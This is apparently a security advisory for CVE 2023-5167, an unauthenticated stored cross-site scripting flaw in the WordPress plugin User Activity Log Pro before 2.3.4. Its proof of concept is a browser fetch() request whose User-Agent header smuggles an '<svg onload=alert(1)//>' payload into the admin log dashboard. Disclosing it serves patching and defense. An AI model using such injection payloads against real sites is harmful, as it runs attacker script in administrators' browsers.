User Activity Log Pro < 2.3.4 – Unauthenticated Stored Cross-Site Scripting via User Agent | CVE 2023-5167

Description

The plugin does not properly escape recorded User-Agents in the user activity logs dashboard, which may allow visitors to conduct Stored Cross-Site Scripting attacks.

Proof of Concept

1) Make sure the plugin's `Enable User Agent For Log` setting is set at /wp-admin/admin.php?page=ualp_settings
2) If you're logged onto the site, log out.
3) While still on the site, send the following fetch() command from your browser's console:

```
await fetch("/wp-login.php", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0<svg onload=alert(1)//>",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3",
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1"
    },
    "referrer": "http://vulnerable-site.tld/wp-login.php",
    "body": "log=simpleadmin&pwd=invalidpassword&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1",
    "method": "POST",
    "mode": "cors"
});
```

4) Log back as an administrator, and go see the user logs at /wp-admin/admin.php?page=ual_pro. You should get an alert box, which indicates the attack succeeded.